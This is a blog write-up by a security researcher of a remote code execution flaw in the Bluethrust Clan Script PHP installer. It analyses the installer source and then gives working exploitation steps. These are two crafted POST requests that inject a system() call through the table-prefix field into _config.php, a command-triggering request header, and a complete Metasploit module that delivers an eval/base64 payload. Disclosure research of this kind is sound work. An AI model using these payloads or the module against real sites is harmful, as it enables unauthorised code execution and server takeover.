Bluethrust Remote Code Execution Vulnerability & Exploitation

In summary; lack of knowledge always lead to vulnerability.

Hello

BluethrustClanScript is another PHP application for game players/clans http://www.bluethrust.com/download.  I had so much fun while reviewing the codes.

Analysis

Like I said before – Concrete5 RCE write-up – installation modules usually lead to code injection vulnerability. Lets start again code reviewes with installation system.

Following codes grabbed from installer/index.php between lines 60 – 93

if(!file_exists("../_config.php")) {

    if(file_put_contents("../_config.php", "") === false) {

        echo "
            <div class='noteDiv'>
                <b>Note:</b> Unable to write to config file.  You can fix this by setting the file permissions on the _config.php file to 755.  Otherwise, you will need to manually create and fill out the _config.php file.  Go <a href='configinstructions.php'>HERE</a> to view instructions on how to fill out the config file.
            </div>
        ";

    }

}
elseif(file_exists("../_config.php") && !is_writable("../_config.php")) {

    echo "
        <div class='noteDiv'>
            <b>Note:</b> Unable to write to config file.  You can fix this by setting the file permissions on the _config.php file to 755.  Otherwise, you will need to manually create and fill out the _config.php file.  Go <a href='configinstructions.php'>HERE</a> to view instructions on how to fill out the config file.
        </div>
    ";

}

if($_GET['step'] == "" || $_GET['step'] == 1) {
    include("steps/step1.php");			
}
elseif($_GET['step'] == 2) {
    include("steps/step2.php");
}
elseif($_GET['step'] == 3) {
    include("steps/step3.php");	
}

Application needs to be sure about _config.php is writable and exist. This is an usual procedure. Then it try to include difference installation steps depends on $_GET[‘step’] parameter.

Summary of the installation process is described following part.

step1.php = database credentials form from user then redirect user to step2.php

step2.php = Administrator account fields are here then redirect user to step3.php

step3.php = Checkout database credentials one more time. Write db credentials into the config.php file then create tables, columns and etc.

Now we will have a look at step3.php codes.

Lines betweet 5 – 15. As I said before, application checks database credentials one more time and sets tableprefix. We will use tableprefix later, it will help to our duty.

// Check Connection Again
$mysqli = new btmysql($_POST['dbhost'], $_POST['dbuser'], $_POST['dbpass'], $_POST['dbname']);
$mysqli->set_tablePrefix($_POST['tableprefix']);

if($mysqli->connect_errno !== 0) {
    $dispError = "
    &nbsp;&nbsp;<b>&middot;</b> Unable to connect to database!  Make sure you entered the correct information.<br><br>
    &nbsp;&nbsp;<b>MySQL Response:</b> ".$mysqli->connect_error."<br>";

    $countErrors++;
}

Between lines 16 – 90 are not too much important for us. But 87 – 96 is too much!

include("steps/configtemplate.php");

if(file_put_contents("../_config.php", $configInput)) {
    echo "Config File Created!<br><br>";
}
else {
    echo "Unable to populate config file!  You will have to manually create the config file.  Click <a href=''>HERE</a> to view instructions on setting it up.<br><br>";
}

It includes steps/configtemplate.php which is prototype of config.php’s content. Then puts $configInput into the _config.php file. Now it’s time to analyze configtemplate.php file.

<?php

$filterConfigPass = str_replace('"', '\"', $_POST['dbpass']);
$filterConfigPass = str_replace('$', '\$', $filterConfigPass);

$filterConfigKey = str_replace('"', '\"', $_POST['adminkey']);
$filterConfigKey = str_replace('$', '\$', $filterConfigKey);

$configInput = "<?php

   /*
	* Bluethrust Clan Scripts v4
	* Copyright ".date("Y")."
	*
	* Author: Bluethrust Web Development
	* E-mail: support@bluethrust.com
	* Website: http://www.bluethrust.com
	*
	* License: http://www.bluethrust.com/license.php
	*
	*/

	\$dbhost = \"".$_POST['dbhost']."\";
	\$dbuser = \"".$_POST['dbuser']."\";
	\$dbpass = \"".$filterConfigPass."\";
	\$dbname = \"".$_POST['dbname']."\";

	\$dbprefix = \"".$_POST['tableprefix']."\";

	\$MAIN_ROOT = \"".$setMainRoot."\";

	\$ADMIN_KEY = \"".$filterConfigKey."\"; // KEY FOR EXTRA SECURITY WHEN ADDING CONSOLE OPTION

	define(\"ADMIN_KEY\", \$ADMIN_KEY);

?>
";

?>

Obviously, lines 3-4 and 6-7 are developed for prevention of php code injection. Lets me describe all of these variables.

$_POST[‘dbpass’] = Unsuitable code injection because of lines 3-4.

$_POST[‘adminkey’] =  Unsuitable code injection because of lines 3-4.

$_POST[‘dbhost’] = We can not use double quote at inside of url/ipv4.

$_POST[‘dbuser’] =Suitable!

$_POST[‘dbname’] =  Suitable!

We can create database named like “;system($_SERVER[HTTP_CMD]);$f=”. You can see this is valid database name in following part.

mysql> create database `";system($_SERVER[HTTP_CMD]);$f="`;
Query OK, 1 row affected (0.00 sec)

mysql> show databases;
+-----------------------------------+
| Database                          |
+-----------------------------------+
| ";system($_SERVER[HTTP_CMD]);$f=" |

BUT there is one problem! We need to pass lines betweet 5 – 15 of step3.php files as said explained. In order to pass that second database credentials verification, we need to write valid credentials. Code Injection with DB_NAME is can be complicated because of syntax. After installation process, application needs to connect database but if we do injection via DB_NAME or DB_USER, application gonna be crashed.

Let me to clarify. For example we used DB_NAME for php codes injection. So config.php looks like;

<?php

	$dbhost = "localhost";
	$dbuser = "root";
	$dbpass = "123456";
	$dbname = "";system($_SERVER[HTTP_CMD]);$f="";

?>

Even if you pass step3.php database credentials verification, application will be crashed after installation process because of it needs to see “;system($_SERVER[HTTP_CMD]);$f=” as database name but it gets EMPTY because of config file syntax manipulation.

I decided to use $_POST[‘tableprefix’] for php code injection. Because application needs to write it too into to the config files -lines 26 of configtemplate.php-.

EXPLOITATION

Application says that “We will  remove installation folder after your first visit main page..” after installation completed it never try to remove it. It couldn’t remove it even all permission is 777. So you can call installation process for installed web sites.

In order to exploitation without any crash you need to call step3.php files two times. First one is initialization of database without any string manipulation. Second one is update config.php for code injection.

Also in order to exploit that vulnerability, you need to write valid database credentials. You can use www.freesqldatabase.com for free. That company serves free mysql server for 5 mb limited and available remote connection via 3306 port.

First Request

First request have to be like following example. When application get this request, it will connect database and create tables with given prefix which is null in first request!

# URL
http://localhost/BTCSv4-R13/installer/index.php?step=3

# POST PARAMETERS
dbname=btc
&dbuser=root
&dbpass=qwe123!
&dbhost=localhost
&installType=1
&tableprefix=
&adminusername=admin
&adminpassword=qwe123
&adminpassword_repeat=qwe123
&adminkey=qwe123
&adminkey_repeat=qwe123
&step2submit=Go+to+Step+3

Second Request

After first request application done installation process without any error. If you call main page with url you wont see any crash.  Now it’s time to second request but this time we will do string manipulation via prefix variables.

# URL
http://localhost/BTCSv4-R13/installer/index.php?step=3

# POST PARAMETERS
dbname=btc
&dbuser=root
&dbpass=qwe123!
&dbhost=localhost
&installType=1
&tableprefix=";system($_SERVER[HTTP_CMD]);#
&adminusername=admin
&adminpassword=qwe123
&adminpassword_repeat=qwe123
&adminkey=qwe123
&adminkey_repeat=qwe123
&step2submit=Go+to+Step+3

When this request arrived to the application, it will initiate new progress to create tables with given prefix. But this time it will create tables with manipulated prefix value. When process finished, we have 2 type of tables in database. Let me show a part of tables to clarify.

mysql> show tables;
| ";system($_SERVER[HTTP_CMD]);#tournaments             |
| ";system($_SERVER[HTTP_CMD]);#tournamentteams         |
| ";system($_SERVER[HTTP_CMD]);#websiteinfo             |
...
| tournaments                                           |
| tournamentteams                                       |
| websiteinfo                                           |

Let’s see Config files. It looks like following example.

<?php

	$dbhost = "localhost";
	$dbuser = "root";
	$dbpass = "qwe123!";
	$dbname = "btc";
	$dbprefix = "";system($_SERVER[HTTP_CMD]);#";

	$MAIN_ROOT = "/BTCSv4-R13/";
	$ADMIN_KEY = "qwe123"; 	

	define("ADMIN_KEY", $ADMIN_KEY);
?>

Application gets EMPTY  value for $dbprefix but it’s not problem because we have 2 different prefix in our database. This is the magic way to successfully exploitation without any crash!

and it’s done! You can call http://localhost/BTCSv4-R13/_config.php like following HTTP Request example to execute command.

# URL
http://localhost/BTCSv4-R13/_config.php

# Headers
Host: localhost
User-Agent: blabla
Cookie: PHPSESSID=blabla
CMD: uname -a

METASPLOIT MODULE

I developed metasploit module. You can reach it from following link

https://github.com/mmetince/metasploit-framework/blob/21c9031161fa99dd1aa5c162bb94562f79ccf5ba/modules/exploits/unix/webapp/bluethrust_install_exec.rb

bluetrush

Also source can be found here. But changes wont be reflect here. So please follow github account.

#
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Bluethrust Install PHP Code Injection',
      'Description'    => %q{
        This module exploits a installation processes of Bluethrust. Application does not force
        users to delete install folder after installation done. So code injection can be done via
        reinstall application. Tested working on Ubuntu 13.10, Apache and Mysql.
      },
      'Author'         =>
        [
          'Mehmet Ince <mehmet@mehmetince.net>', # Vulnerability Author and Exploit Development
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'https://www.mehmetince.net/bluethrustclanscript-remote-code-execution-exploit/' ],
        ],
      'Privileged'     => false,
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'Targets'        => [ ['Bluethrust', { }], ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Apr 16 2014'
      ))

      register_options(
        [
          OptString.new('TARGETURI', [ true, "The Path", "/"]),
          OptString.new('DB_SERVER', [ true, "MySQL server address"]),
          OptString.new('DB_USERNAME', [ true, "MySQL username"]),
          OptString.new('DB_PASSWORD', [ true, "MySQL password"]),
          OptString.new('DB_DATABASE', [ true, "MySQL name of database", "bluethrust_db"]),

        ], self.class)
  end

  def check
    res = send_request_cgi({
      'uri'     => normalize_uri(target_uri.path.to_s, "installer/index.php"),
      'method'  => 'GET'
    })
    if res.code == 200 and res.body =~ /Database Name/
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end

  def checkout_installation(res)
    # If webpage returns error, it highly possible with wrong DBS credentials
    if res.body =~ /Config File Created!/
      print_status("#{peer} - Installation is done!")
    else
      fail_with(Failure::Unknown, "Please check out DB credentials. Also be sure remote connection is available!")
    end
  end

  def exploit
    print_status("#{peer} - Testing Exploit")
    unless check == Exploit::CheckCode::Vulnerable
      fail_with(Failure::NotVulnerable, "#{peer} - Target isn't vulnerable.")
    end
    print_status("#{peer} - Triggering Vulnerability")
    table_prefix = rand_text_alpha(rand(10)+5)
    res = send_request_cgi({
          'uri'     =>  normalize_uri(target_uri.path.to_s, "installer/index.php?step=3"),
          'method'  =>  'POST',
          'vars_post'=>  {
            'dbhost'                =>  @datastore['DB_SERVER'],
            'dbuser'                =>  @datastore['DB_USERNAME'],
            'dbpass'                =>  @datastore['DB_PASSWORD'],
            'dbname'                =>  @datastore['DB_DATABASE'],
            'tableprefix'           =>  table_prefix,
            'installType'           =>  '1',
            'adminusername'         =>  'admin',
            'adminpassword'         =>  '1337l33t',
            'adminpassword_repeat'  =>  '1337l33t',
            'adminkey'              =>  '13371337',
            'adminkey_repeat'       =>  '13371337',
            'step2submit'           =>  'Go+to+Step+3null'
          }
        })
    print_status("#{peer} - Selected prefix : #{table_prefix}")
    checkout_installation(res)
    # Second request in order to inject php codes to _config.php file. Further info : References -> URL
    print_status("#{peer} - Sending second installation request...")
    res = send_request_cgi({
          'uri'     =>  normalize_uri(target_uri.path.to_s, "installer/index.php?step=3"),
          'method'  =>  'POST',
          'vars_post'=>  {
            'dbhost'                =>  @datastore['DB_SERVER'],
            'dbuser'                =>  @datastore['DB_USERNAME'],
            'dbpass'                =>  @datastore['DB_PASSWORD'],
            'dbname'                =>  @datastore['DB_DATABASE'],
            'tableprefix'           =>  table_prefix+'";eval(base64_decode($_SERVER[HTTP_RCE]));#',
            'installType'           =>  '1',
            'adminusername'         =>  'admin',
            'adminpassword'         =>  '1337l33t',
            'adminpassword_repeat'  =>  '1337l33t',
            'adminkey'              =>  '13371337',
            'adminkey_repeat'       =>  '13371337',
            'step2submit'           =>  'Go+to+Step+3null'
          }
        })

    checkout_installation(res)
    # It's time to call _config.php file to code execution.
    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path.to_s, "_config.php"),
      'headers'   => {
        'Rce' => Rex::Text.encode_base64(payload.encoded)
      }
    })
  end
en

 

 RESULTS

In this write-up we see that developers of the BlueThrust thought “Users can not manipulate db names or prefix. It probably cause database syntax error.”

Each input which controlled by human are unreliable.

Feel free to ask question, write a comment.